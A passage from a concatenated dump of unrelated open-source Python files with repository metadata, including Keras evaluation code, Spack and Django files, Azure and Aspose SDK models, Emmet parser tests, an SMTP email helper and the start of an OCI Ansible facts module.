[os.path.join(test_utils.temp_folder, file) for file in os.listdir(test_utils.temp_folder) if file.lower().endswith('.log')] if pattern: files = [file for file in files if pattern in os.path.basename(file)] return files def setUp(self): test_utils.setup() self.exit_codes = {} self.post_info_provider = _MapBasedPostExecInfo(self.exit_codes) self.logging_service = ExecutionLoggingService(test_utils.temp_folder, LogNameCreator()) def tearDown(self): test_utils.cleanup() class _MapBasedPostExecInfo(PostExecutionInfoProvider): def __init__(self, exit_codes): self.exit_codes = exit_codes def get_exit_code(self, execution_id): if execution_id in self.exit_codes: return self.exit_codes[execution_id] return 0

35.656676

99

0.647486

dda8e80eb203660b07ebb72b3a805c55d3ea3ac7

988

py

Python

Model.py

yash1996/Emotion-Recognition-by-Facial-features

bda21885244e9aac652445cf6349127783384220

[ "MIT" ]

1

2018-12-08T10:55:09.000Z

Model.py

yash1996/Emotion-Recognition-by-Facial-features

bda21885244e9aac652445cf6349127783384220

[ "MIT" ]

null

Model.py

yash1996/Emotion-Recognition-by-Facial-features

bda21885244e9aac652445cf6349127783384220

[ "MIT" ]

null

import keras import os from keras.models import model_from_json import h5py from keras.models import Sequential, Model from keras.layers import Dense, LSTM, Activation, Input from keras.optimizers import adam, rmsprop, adadelta import numpy as np from keras.utils import to_categorical from keras.models import load_model json_file = open('model.json','r') x_test = h5py.File('x_val.hdf5','r') y_test = h5py.File('y_val.hdf5','r') loaded_model_json = json_file.read() json_file.close() model = model_from_json(loaded_model_json) model.load_weights("weights.hdf5") print("Loaded model from disk") print(list(x_test.keys())) print(list(y_test.keys())) x_test = x_test['x_val'][:] y_test = y_test['y_val'][:] y_test = to_categorical(y_test) print(x_test[0],x_test[1]) print(y_test[0],y_test[1]) #a = model.get_config() #print("model config is ",a) model.compile(optimizer='rmsprop', loss='mse') accuracy = model.evaluate(x_test,y_test) print('accuracy',accuracy)

32.933333

56

0.742915

3f2a695a3b73ff35dcf4fbca9b1923480a560837

321

py

Python

exonum_precheck/__main__.py

popzxc/exonum_precheck

8a109f44333e9a0f5425fd1cf1796bb6705a3167

[ "MIT" ]

1

2019-09-10T13:14:32.000Z

exonum_precheck/__main__.py

popzxc/exonum_precheck

8a109f44333e9a0f5425fd1cf1796bb6705a3167

[ "MIT" ]

null

exonum_precheck/__main__.py

popzxc/exonum_precheck

8a109f44333e9a0f5425fd1cf1796bb6705a3167

[ "MIT" ]

null

import argparse from exonum_precheck import run_check if __name__ == "__main__": parser = argparse.ArgumentParser(prog="exonum_precheck", description="Exonum deployment precheck script") parser.add_argument('--jobs', nargs='*', default=['unit-test', 'lints']) args = parser.parse_args() run_check(args)

32.1

109

0.728972

ebf47ab45dfdb750c1ecffb29d0acb2d0bec2259

1,422

py

Python

var/spack/repos/builtin/packages/rockstar/package.py

nkianggiss/spack

3477d3375142a30f5714bb5966a6d8bb22c33c06

[ "ECL-2.0", "Apache-2.0", "MIT" ]

3

2019-06-27T13:26:50.000Z

2019-07-01T16:24:54.000Z

var/spack/repos/builtin/packages/rockstar/package.py

openbiox/spack

bb6ec7fb40c14b37e094a860e3625af53f633174

[ "ECL-2.0", "Apache-2.0", "MIT" ]

75

2016-07-27T11:43:00.000Z

2020-12-08T15:56:53.000Z

var/spack/repos/builtin/packages/rockstar/package.py

openbiox/spack

bb6ec7fb40c14b37e094a860e3625af53f633174

[ "ECL-2.0", "Apache-2.0", "MIT" ]

8

2015-10-16T13:51:49.000Z

2021-10-18T13:58:03.000Z

# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) import os from spack import * class Rockstar(MakefilePackage): """The Rockstar Halo Finder""" homepage = "https://bitbucket.org/gfcstanford/rockstar" version('develop', git='https://bitbucket.org/gfcstanford/rockstar.git') version('yt', hg='https://bitbucket.org/MatthewTurk/rockstar') variant('hdf5', description='Build rockstar with HDF5 support', default=False) patch('adjust_buildscript.patch') depends_on('hdf5', when='+hdf5') def build(self, spec, prefix): # Set environment appropriately for HDF5 if '+hdf5' in spec: os.environ['HDF5_INC_DIR'] = spec['hdf5'].prefix.include os.environ['HDF5_LIB_DIR'] = spec['hdf5'].prefix.lib # Build depending on whether hdf5 is to be used if '+hdf5' in spec: make('with_hdf5') else: make() # Build rockstar library make('lib') def install(self, spec, prefix): # Install all files and directories install_tree('.', prefix) mkdir(prefix.bin) mkdir(prefix.lib) install('rockstar', join_path(prefix.bin, 'rockstar')) install('librockstar.so', join_path(prefix.lib, 'librockstar.so'))

29.625

82

0.647679

23ab4e5cf331c09b9454605f124656d3c58735d4

4,520

py

Python

azext_iot/sdk/dps/service/models/device_registration_state.py

jongio/azure-iot-cli-extension

5e41824688c4d9e4593737a55e8789a6bb1d2411

[ "MIT" ]

null

azext_iot/sdk/dps/service/models/device_registration_state.py

jongio/azure-iot-cli-extension

5e41824688c4d9e4593737a55e8789a6bb1d2411

[ "MIT" ]

null

azext_iot/sdk/dps/service/models/device_registration_state.py

jongio/azure-iot-cli-extension

5e41824688c4d9e4593737a55e8789a6bb1d2411

[ "MIT" ]

null

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class DeviceRegistrationState(Model): """Device registration state. Variables are only populated by the server, and will be ignored when sending a request. :ivar registration_id: This id is used to uniquely identify a device registration of an enrollment. A case-insensitive string (up to 128 characters long) of alphanumeric characters plus certain special characters : . _ -. No special characters allowed at start or end. :vartype registration_id: str :ivar created_date_time_utc: Registration create date time (in UTC). :vartype created_date_time_utc: datetime :ivar assigned_hub: Assigned Azure IoT Hub. :vartype assigned_hub: str :ivar device_id: Device ID. :vartype device_id: str :ivar status: Enrollment status. Possible values include: 'unassigned', 'assigning', 'assigned', 'failed', 'disabled' :vartype status: str or ~dps.models.enum :ivar substatus: Substatus for 'Assigned' devices. Possible values include - 'initialAssignment': Device has been assigned to an IoT hub for the first time, 'deviceDataMigrated': Device has been assigned to a different IoT hub and its device data was migrated from the previously assigned IoT hub. Device data was removed from the previously assigned IoT hub, 'deviceDataReset': Device has been assigned to a different IoT hub and its device data was populated from the initial state stored in the enrollment. Device data was removed from the previously assigned IoT hub, 'reprovisionedToInitialAssignment': Device has been re-provisioned to a previously assigned IoT hub. Possible values include: 'initialAssignment', 'deviceDataMigrated', 'deviceDataReset', 'reprovisionedToInitialAssignment' :vartype substatus: str or ~dps.models.enum :ivar error_code: Error code. :vartype error_code: int :ivar error_message: Error message. :vartype error_message: str :ivar last_updated_date_time_utc: Last updated date time (in UTC). :vartype last_updated_date_time_utc: datetime :ivar etag: The entity tag associated with the resource. :vartype etag: str :ivar payload: Custom allocation payload returned from the webhook to the device. :vartype payload: object """ _validation = { 'registration_id': {'readonly': True}, 'created_date_time_utc': {'readonly': True}, 'assigned_hub': {'readonly': True}, 'device_id': {'readonly': True}, 'status': {'readonly': True}, 'substatus': {'readonly': True}, 'error_code': {'readonly': True}, 'error_message': {'readonly': True}, 'last_updated_date_time_utc': {'readonly': True}, 'etag': {'readonly': True}, 'payload': {'readonly': True}, } _attribute_map = { 'registration_id': {'key': 'registrationId', 'type': 'str'}, 'created_date_time_utc': {'key': 'createdDateTimeUtc', 'type': 'iso-8601'}, 'assigned_hub': {'key': 'assignedHub', 'type': 'str'}, 'device_id': {'key': 'deviceId', 'type': 'str'}, 'status': {'key': 'status', 'type': 'str'}, 'substatus': {'key': 'substatus', 'type': 'str'}, 'error_code': {'key': 'errorCode', 'type': 'int'}, 'error_message': {'key': 'errorMessage', 'type': 'str'}, 'last_updated_date_time_utc': {'key': 'lastUpdatedDateTimeUtc', 'type': 'iso-8601'}, 'etag': {'key': 'etag', 'type': 'str'}, 'payload': {'key': 'payload', 'type': 'object'}, } def __init__(self, **kwargs): super(DeviceRegistrationState, self).__init__(**kwargs) self.registration_id = None self.created_date_time_utc = None self.assigned_hub = None self.device_id = None self.status = None self.substatus = None self.error_code = None self.error_message = None self.last_updated_date_time_utc = None self.etag = None self.payload = None

43.883495

92

0.647345

efd89ab243bfd8d4c0da2f2cfebdcbc740e3927e

8,603

py

Python

test/test_emmetNode.py

Ariyn/crawling-script

0757e1fe71c66cac60331b630f927b8ab6114a97

[ "MIT" ]

null

test/test_emmetNode.py

Ariyn/crawling-script

0757e1fe71c66cac60331b630f927b8ab6114a97

[ "MIT" ]

7

2016-10-30T17:02:33.000Z

2018-12-08T18:40:33.000Z

test/test_emmetNode.py

Ariyn/crawling-script

0757e1fe71c66cac60331b630f927b8ab6114a97

[ "MIT" ]

null

import unittest import unittest.mock as mock from unittest.mock import MagicMock, mock_open import os import logging import src.EmmetNode as nsp from src.Emmet import Emmet from src.HTML import Element, MyHTMLParser from src.tools import Log class Tester(unittest.TestCase): debug = False scripts = [ "tag1> tag2", "[ abc := def , ghi := jkl ]", "{ abc := def , ghi := jkl }", "tag1>ul>(li>span[nth-sibling:=2]{title:= body})+(li>span[nth-sibling:=2]{author:=body})", "div>ul>(li[test:=1]>span)+(li[test:=2]>span)>sdf", "div#test.test1.test2{map:=data-map, list:=data-list}", "div#test>span{title:=body}", "t1>(t2>t3>t4+t5)+(t3>t4+t5)", "t1[attr-index:=0]>(t3>t4)+(t3>t4>t5)", "article.Story--large.Story--stagger.p-2.Story>a>div>img.d-block{image:=src}" ] html = [ "<div id='test'>" ] elements = [Element("tag1"), Element("ul"), Element("li"), Element("span",[ ("body","testTitle") ]),Element("li"), Element("span",[ ("body","testAuthor") ])] @staticmethod def setUpClass(): format = "%(asctime)-15s %(message)s %(datas)s" Log.format = format Log.debug = Tester.debug Tester.logger = Log() Tester.log = Tester.logger.log def setUp(self): pass # @unittest.skip("for test") def test_condition_expression(self): s = nsp.conditionExp.search(Tester.scripts[1]) if s: s = [nsp.allocationExp.search(i.strip()) for i in s.group(1).split(",")] s = [i.groups() if i else i for i in s] Tester.log.info(msg="condition parse done", extra={"datas":str(s)}) # @unittest.skip("for test") def test_capture_expression(self): s = nsp.captureExp.search(Tester.scripts[2]) if s: s = [nsp.allocationExp.search(i.strip()) for i in s.group(1).split(",")] s = [i.groups() if i else i for i in s] Tester.log.info(msg="capture parse done", extra={"datas":str(s)}) # @unittest.skip("for test") def test_split_token(self): nsp.splitToken(self.scripts[0]) # @unittest.skip("for test") def test_complex_script_split_token(self): nsp.splitToken(self.scripts[3]) # @unittest.skip("for test") def test_complex_script_parse(self): tokens = nsp.splitToken(self.scripts[3]) root = nsp.parse(tokens) # @unittest.skip("for test") def test_complex_script_plus_order(self): tokens = nsp.splitToken(self.scripts[4]) root = nsp.parse(tokens) div = root.children[0] # print(div, div.condition, div.capture, div.raw) root.travel() # @unittest.skip("for test") def test_emmet_node_match(self): tokens = nsp.splitToken(self.scripts[5]) root = nsp.parse(tokens) tag = root.travel() # @unittest.skip("for test") def test_check_emmet(self): tokens = nsp.splitToken(self.scripts[5]) root = nsp.parse(tokens).children[0] e = Element("div", [ ("id","test"), ("class", "test1 test2"), ("data-map","NY"), ("data-list","p1,p2,p3") ]) self.assertTrue(root.match(e)) e2 = Element("div", [ ("id","test2"), ("class", "test1 test2"), ("data-map","NY"), ("data-list","p1,p2,p3") ]) self.assertFalse(root.match(e2)) # if root.match(e): # x = root.capture(e) # print(x) def test_newStyle_node_iteration(self): e = Emmet(self.scripts[3]) back = False strs = [] for i in e: strs.append(i.tag) if i.tag == "ul" and not back: e.index -= 1 back = True self.assertEqual(" ".join(strs), "tag1 ul ul li span li span") @unittest.skip("for test") def test_emmet_newStyle_check(self): elements = [Element("tag1"), Element("ul"), Element("li"), Element("span",[ ("body","testestset") ]),Element("li"), Element("span",[ ("body","testestset") ])] emmetEngine = Emmet(self.scripts[3]) for ele in elements: x = emmetEngine.check(ele) # if not x: # print("element not passed", ele) self.assertTrue(x) @unittest.skip("for test") def test_emmet_newStyle_check_right_elements(self): e = self.elements operation = [ (e[0], False), (e[1], False), (e[2], False), (e[3], False), (e[3], True), (e[2], True), (e[4], False), (e[5], False), (e[5], True), (e[4], True), (e[1], True), (e[0], True) ] emmetEngine = Emmet(self.scripts[3]) for i in range(2): for element, endTag in operation: x = emmetEngine.check(element, endTag=endTag) self.assertEqual({"title":"testTitle", "author":"testAuthor"}, emmetEngine.captures[0]) @unittest.skip("for test") def test_emmet_newStyle_check_wrong_elements(self): e = self.elements wrongElement = Element("li2") operation = [ (e[0], False), (e[1], False), (e[2], False), (e[3], False), (e[3], True), (e[2], True), (wrongElement, False), (e[5], False), (e[5], True), (wrongElement, True), (e[1], True), (e[0], True) ] emmetEngine = Emmet(self.scripts[3]) for i in range(2): for element, endTag in operation: x = emmetEngine.check(element, endTag=endTag) self.assertEqual([], emmetEngine.captures) @unittest.skip("for test") def test_emmet_newStyle_check_right_but_many_parent_elements(self): e = self.elements wrongElement = Element("li2") operation = [ (wrongElement, False), (e[0], False), (e[1], False), (e[2], False), (e[3], False), (e[3], True), (e[2], True), (e[4], False), (e[5], False), (e[5], True), (e[4], True), (e[1], True), (e[0], True), (wrongElement, True) ] emmetEngine = Emmet(self.scripts[3]) for i in range(2): for element, endTag in operation: x = emmetEngine.check(element, endTag=endTag) self.assertEqual({"title":"testTitle", "author":"testAuthor"}, emmetEngine.captures[0]) @unittest.skip("for test") def test_emmet_newStyle_check_right_but_wrong_siblings_elements(self): # print("\ntest_emmet_newStyle_check_right_but_wrong_siblings_elements") e = self.elements wrongElement = Element("li2") operation = [ (e[0], False), (e[1], False), (e[2], False), (e[3], False), (e[3], True), (e[2], True), (wrongElement, False), (wrongElement, True), (e[4], False), (e[5], False), (e[5], True), (e[4], True), (e[1], True), (e[0], True) ] emmetEngine = Emmet(self.scripts[3]) indent = 0 for i in operation: # print((" "*indent+"<%s>" if not i[1] else " "*(indent-1)+"</%s>")%i[0].tag) if i[1]: indent -= 1 else: indent += 1 for element, endTag in operation: x = emmetEngine.check(element, endTag=endTag) self.assertEqual({"title":"testTitle", "author":"testAuthor"}, emmetEngine.captures[0]) @unittest.skip("for test") def test_emmet_newStyle_check_just_wrong_elements(self): # print("\ntest_emmet_newStyle_check_just_wrong_elements") e = self.elements wrongElement = Element("li2") operation = [ (e[0], False), (e[1], False), (e[2], False), (e[3], False), (e[3], True), (e[2], True), (e[4], False), (e[5], False), (wrongElement, False), (wrongElement, True), (e[5], True), (e[4], True), (e[1], True), (e[0], True) ] emmetEngine = Emmet(self.scripts[3]) indent = 0 for i in operation: # print((" "*indent+"<%s>" if not i[1] else " "*(indent-1)+"</%s>")%i[0].tag) if i[1]: indent -= 1 else: indent += 1 for element, endTag in operation: x = emmetEngine.check(element, endTag=endTag) self.assertEqual([], emmetEngine.captures) @unittest.skip("test skip") def test_tree_list_maker(self): emmetEngine = Emmet(self.scripts[7]) self.assertTrue(4 in emmetEngine.treeDict) @unittest.skip("test skip") def test_traverse_tree(self): emmetEngine = Emmet(self.scripts[7]) x = [emmetEngine.traverseTree().tag for i in range(8)] self.assertEqual(",".join(x), "t1,t2,t3,t4,t5,t3,t4,t5") @unittest.skip("test skip") def test_traverse_possible_list(self): emmetEngine = Emmet(self.scripts[7]) emmetEngine.traverseTree() emmetEngine.traverseTree() emmetEngine.traverseTree() self.assertEqual(",".join([i.tag for i in emmetEngine.possibleList]), "t3,t4,t5") @unittest.skip("test skip") def test_check2(self): emmetEngine = Emmet(self.scripts[8]) # print(emmetEngine.root.children) tags = ["t1", "t2", "t3", "t4", "t5", "t3", "t4", "t5"] e = [Element(t, attr=[("attr-index", index)]) for index, t in enumerate(tags)] emmetEngine.check2open(e[0]) emmetEngine.check2open(e[2]) emmetEngine.check2open(e[3]) emmetEngine.check2open(e[4]) emmetEngine.check2close(e[4]) emmetEngine.check2close(e[3]) emmetEngine.check2close(e[2]) emmetEngine.check2open(e[5]) emmetEngine.check2open(e[6]) emmetEngine.check2close(e[6]) emmetEngine.check2close(e[5]) emmetEngine.check2close(e[0])

26.228659

92

0.63257

36c0ad45ad5311287ddf673915e86c817eb95c62

3,839

py

Python

asposewordscloud/models/requests/create_folder_request.py

aspose-words-cloud/aspose-words-cloud-python

65c7b55fa4aac69b60d41e7f54aed231df285479

[ "MIT" ]

14

2018-07-15T17:01:52.000Z

2018-11-29T06:15:33.000Z

asposewordscloud/models/requests/create_folder_request.py

aspose-words-cloud/aspose-words-cloud-python

65c7b55fa4aac69b60d41e7f54aed231df285479

[ "MIT" ]

1

2018-09-28T12:59:34.000Z

2019-10-08T08:42:59.000Z

asposewordscloud/models/requests/create_folder_request.py

aspose-words-cloud/aspose-words-cloud-python

65c7b55fa4aac69b60d41e7f54aed231df285479

[ "MIT" ]

2

2020-12-21T07:59:17.000Z

2022-02-16T21:41:25.000Z

# coding: utf-8 # ----------------------------------------------------------------------------------- # <copyright company="Aspose" file="create_folder_request.py"> # Copyright (c) 2021 Aspose.Words for Cloud # </copyright> # <summary> # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # </summary> # ----------------------------------------------------------------------------------- import json from six.moves.urllib.parse import quote from asposewordscloud import * from asposewordscloud.models import * from asposewordscloud.models.requests import * from asposewordscloud.models.responses import * class CreateFolderRequest(BaseRequestObject): """ Request model for create_folder operation. Initializes a new instance. :param path Target folder's path e.g. Folder1/Folder2/. The folders will be created recursively. :param storage_name Storage name. """ def __init__(self, path, storage_name=None): self.path = path self.storage_name = storage_name def create_http_request(self, api_client): # verify the required parameter 'path' is set if self.path is None: raise ValueError("Missing the required parameter `path` when calling `create_folder`") # noqa: E501 path = '/v4.0/words/storage/folder/{path}' path_params = {} if self.path is not None: path_params['path'] = self.path # noqa: E501 else: path_params['path'] = '' # noqa: E501 # path parameters collection_formats = {} if path_params: path_params = api_client.sanitize_for_serialization(path_params) path_params = api_client.parameters_to_tuples(path_params, collection_formats) for k, v in path_params: # specified safe chars, encode everything path = path.replace( '{%s}' % k, quote(str(v), safe=api_client.configuration.safe_chars_for_path_param) ) # remove optional path parameters path = path.replace('//', '/') query_params = [] if self.storage_name is not None: query_params.append(('storageName', self.storage_name)) # noqa: E501 header_params = {} form_params = [] body_params = None return { "method": "PUT", "path": path, "query_params": query_params, "header_params": header_params, "form_params": form_params, "body": body_params, "collection_formats": collection_formats, "response_type": 'None' # noqa: E501 } def get_response_type(self): return 'None' # noqa: E501 def deserialize_response(self, api_client, response): return None

39.173469

112

0.633238

708ff3b4c8cf6bbf0a4af25f8bb414886fc3c3b5

657

py

Python

hkm/migrations/0025_userprofile_printer_presets.py

andersinno/kuvaselaamo

aed553a0ba85e82055e0de025ba2d3e3e4f2c9e6

[ "MIT" ]

1

2017-05-07T10:46:24.000Z

hkm/migrations/0025_userprofile_printer_presets.py

City-of-Helsinki/kuvaselaamo

3fa9b69e3f5496620852d8b138129d0069339fcd

[ "MIT" ]

60

2016-10-18T11:18:48.000Z

2022-02-13T20:04:18.000Z

hkm/migrations/0025_userprofile_printer_presets.py

andersinno/kuvaselaamo

aed553a0ba85e82055e0de025ba2d3e3e4f2c9e6

[ "MIT" ]

9

2017-04-18T13:26:26.000Z

2020-02-13T20:05:13.000Z

# -*- coding: utf-8 -*- # Generated by Django 1.10.2 on 2017-10-02 09:40 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('hkm', '0024_hkm_museum_user'), ] operations = [ migrations.AddField( model_name='userprofile', name='printer_presets', field=models.TextField(default=b'{"api-poster-gloss-40x30": 0, "api-poster-gloss-A4-horizontal": 0, "api-poster-50x70": 0, "api-poster-gloss-A4": 0, "api-poster-70x50": 0, "api-poster-gloss-30x40": 0}', verbose_name='Tulostimen presetit'), ), ]

31.285714

251

0.643836

acb12afe42e431fc310cb2f395337f6c8b4adcdc

3,960

py

Python

test/utils.py

chandur626/TeachersPetBot

ad1fd36be5bd3690949d0e3a6e29c9100bf43e15

[ "MIT" ]

null

test/utils.py

chandur626/TeachersPetBot

ad1fd36be5bd3690949d0e3a6e29c9100bf43e15

[ "MIT" ]

52

2021-11-20T19:29:58.000Z

2021-12-05T04:39:30.000Z

test/utils.py

chandur626/TeachersPetBot

ad1fd36be5bd3690949d0e3a6e29c9100bf43e15

[ "MIT" ]

null

import os import smtplib from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from dotenv import load_dotenv import asyncio from time import sleep load_dotenv() DICORD_BOT_NAME = os.getenv('DICORD_BOT_NAME') class EmailUtility: """ Class provides methods handling mailing logic of attachments and remainders """ def __init__(self): # Accepting username and password from env file. self.username = os.getenv("USERNAME") self.password = os.getenv("PASSWORD") self.from_address = 'no-reply@teacherspetbot.com' self.subject = 'TEACHERS PET BOT NOTIFICATION' self.output_message = '' def send_email(self, recipient: list, attachment=None, subject: str = '', body: str = '', filename: str = ''): """ Sends email to the specified recipients. Parameters: recipient: user email address. attachment: file attachments. subject: subject of the email. body: body of the email. filename: specifies the file name it should use for attachment data. Returns: returns either an error stating a reason for failure or returns a success message indicating that the reminder has been added """ # Recipient address are to be provided as list. to_address = recipient if isinstance(recipient, list) else [recipient] msg = MIMEMultipart() msg['Subject'] = subject if subject else self.subject msg['From'] = self.from_address msg['To'] = ''.join(to_address) body = body if body else "This mail was sent from TeachersPetBot notification service," \ " Please unsubscribe through bot to stop notifications." msg.attach(MIMEText(body, 'plain')) if attachment: # Attaching the attachment data only if it exists. part = MIMEBase('application', "octet-stream") part.set_payload(attachment) encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(part) try: server = smtplib.SMTP("smtp.gmail.com", 587) server.ehlo() server.starttls() server.login(self.username, self.password) server.sendmail(list(self.from_address), to_address, msg.as_string()) server.close() self.output_message = "successfully sent the mail to " + ''.join(recipient) print(self.output_message) except Exception as error: with open("err.log", "a", encoding='utf8') as f: f.write(f"Error while sending email : {str(error)}\n") raise error async def wait_for_msg(testing_bot, channel, content): sleep(0.6) try: return await testing_bot.wait_for('message', timeout=2, check=lambda x: x.guild.id == channel.guild.id and x.author.name == DICORD_BOT_NAME and content in x.content) except asyncio.TimeoutError: messages = await channel.history(limit=1).flatten() if not (len(messages) != 0 and content in messages[0].content): print(f'Message content {content} not found') raise Exception() return messages[0] async def wait_for_channel_create(testing_bot, guild_id, name): try: return await testing_bot.wait_for('guild_channel_create', timeout=2, check=lambda x: x.guild.id == guild_id and x.name == name) except asyncio.TimeoutError: new_channel = next((ch for ch in testing_bot.get_guild(guild_id).text_channels if ch.name == name), None) if new_channel is None: print(f'Channel {name} not found') raise Exception() return new_channel

39.6

173

0.629798

627d58e4503f19b296d52a4b977014d18343ae5a

3,510

py

Python

zuul.d/octavia/amphorae/drivers/haproxy/data_models.py

yi-cloud/octavia

b7f5cfa4c3c454925a90c24984049539228806d7

[ "Apache-2.0" ]

null

zuul.d/octavia/amphorae/drivers/haproxy/data_models.py

yi-cloud/octavia

b7f5cfa4c3c454925a90c24984049539228806d7

[ "Apache-2.0" ]

null

zuul.d/octavia/amphorae/drivers/haproxy/data_models.py

yi-cloud/octavia

b7f5cfa4c3c454925a90c24984049539228806d7

[ "Apache-2.0" ]

null

# Copyright 2014 Rackspace # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import octavia.common.data_models as models class Topology(models.BaseDataModel): def __init__(self, hostname=None, uuid=None, topology=None, role=None, ip=None, ha_ip=None): self.hostname = hostname self.uuid = uuid self.topology = topology self.role = role self.ip = ip self.ha_ip = ha_ip class Info(models.BaseDataModel): def __init__(self, hostname=None, uuid=None, version=None, api_version=None): self.hostname = hostname self.uuid = uuid self.version = version self.api_version = api_version class Details(models.BaseDataModel): def __init__(self, hostname=None, uuid=None, version=None, api_version=None, network_tx=None, network_rx=None, active=None, haproxy_count=None, cpu=None, memory=None, disk=None, load=None, listeners=None, packages=None): self.hostname = hostname self.uuid = uuid self.version = version self.api_version = api_version self.network_tx = network_tx self.network_rx = network_rx self.active = active self.haproxy_count = haproxy_count self.cpu = cpu self.memory = memory self.disk = disk self.load = load or [] self.listeners = listeners or [] self.packages = packages or [] class CPU(models.BaseDataModel): def __init__(self, total=None, user=None, system=None, soft_irq=None): self.total = total self.user = user self.system = system self.soft_irq = soft_irq class Memory(models.BaseDataModel): def __init__(self, total=None, free=None, available=None, buffers=None, cached=None, swap_used=None, shared=None, slab=None, committed_as=None): self.total = total self.free = free self.available = available self.buffers = buffers self.cached = cached self.swap_used = swap_used self.shared = shared self.slab = slab self.committed_as = committed_as class Disk(models.BaseDataModel): def __init__(self, used=None, available=None): self.used = used self.available = available class ListenerStatus(models.BaseDataModel): def __init__(self, status=None, uuid=None, provisioning_status=None, type=None, pools=None): self.status = status self.uuid = uuid self.provisioning_status = provisioning_status self.type = type self.pools = pools or [] class Pool(models.BaseDataModel): def __init__(self, uuid=None, status=None, members=None): self.uuid = uuid self.status = status self.members = members or []

31.621622

79

0.619658

d2fd51501c7b3ef81d62f72d84778d72fe0ecc89

7,277

py

Python

plugins/modules/oci_limits_limit_definition_facts.py

LaudateCorpus1/oci-ansible-collection

2b1cd87b4d652a97c1ca752cfc4fdc4bdb37a7e7

[ "Apache-2.0" ]

null

plugins/modules/oci_limits_limit_definition_facts.py

LaudateCorpus1/oci-ansible-collection

2b1cd87b4d652a97c1ca752cfc4fdc4bdb37a7e7

[ "Apache-2.0" ]

null

plugins/modules/oci_limits_limit_definition_facts.py

LaudateCorpus1/oci-ansible-collection

2b1cd87b4d652a97c1ca752cfc4fdc4bdb37a7e7

[ "Apache-2.0" ]

null

#!/usr/bin/python # Copyright (c) 2020, 2022 Oracle and/or its affiliates. # This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license. # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # Apache License v2.0 # See LICENSE.TXT for details. # GENERATED FILE - DO NOT EDIT - MANUAL CHANGES WILL BE OVERWRITTEN from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { "metadata_version": "1.1", "status": ["preview"], "supported_by": "community", } DOCUMENTATION = """ --- module: oci_limits_limit_definition_facts short_description: Fetches details about one or multiple LimitDefinition resources in Oracle Cloud Infrastructure description: - Fetches details about one or multiple LimitDefinition resources in Oracle Cloud Infrastructure - Includes a list of resource limits that are currently supported. If the 'areQuotasSupported' property is true, you can create quota policies on top of this limit at the compartment level. version_added: "2.9.0" author: Oracle (@oracle) options: compartment_id: description: - The OCID of the parent compartment (remember that the tenancy is simply the root compartment). type: str required: true service_name: description: - The target service name. type: str name: description: - Optional field, filter for a specific resource limit. type: str sort_by: description: - The field to sort by. type: str choices: - "name" - "description" sort_order: description: - The sort order to use, either 'asc' or 'desc'. By default, it is ascending. type: str choices: - "ASC" - "DESC" extends_documentation_fragment: [ oracle.oci.oracle ] """ EXAMPLES = """ - name: List limit_definitions oci_limits_limit_definition_facts: # required compartment_id: "ocid1.compartment.oc1..xxxxxxEXAMPLExxxxxx" # optional service_name: service_name_example name: name_example sort_by: name sort_order: ASC """ RETURN = """ limit_definitions: description: - List of LimitDefinition resources returned: on success type: complex contains: name: description: - The resource limit name. To be used for writing policies (in case of quotas) or other programmatic calls. returned: on success type: str sample: name_example service_name: description: - The service name of the limit. returned: on success type: str sample: service_name_example description: description: - The limit description. returned: on success type: str sample: description_example scope_type: description: - Reflects the scope of the resource limit, whether Global (across all regions), regional, or availability domain-specific. returned: on success type: str sample: GLOBAL are_quotas_supported: description: - If true, quota policies can be created on top of this resource limit. returned: on success type: bool sample: true is_resource_availability_supported: description: - Reflects whether or not the GetResourceAvailability API is supported for this limit. If not, the API returns an empty JSON response. returned: on success type: bool sample: true is_deprecated: description: - Indicates if the limit has been deprecated. returned: on success type: bool sample: true is_eligible_for_limit_increase: description: - Indicates if the customer can request a limit increase for this resource. returned: on success type: bool sample: true is_dynamic: description: - The limit for this resource has a dynamic value that is based on consumption across all OCI services. returned: on success type: bool sample: true sample: [{ "name": "name_example", "service_name": "service_name_example", "description": "description_example", "scope_type": "GLOBAL", "are_quotas_supported": true, "is_resource_availability_supported": true, "is_deprecated": true, "is_eligible_for_limit_increase": true, "is_dynamic": true }] """ from ansible.module_utils.basic import AnsibleModule from ansible_collections.oracle.oci.plugins.module_utils import oci_common_utils from ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils import ( OCIResourceFactsHelperBase, get_custom_class, ) try: from oci.limits import LimitsClient HAS_OCI_PY_SDK = True except ImportError: 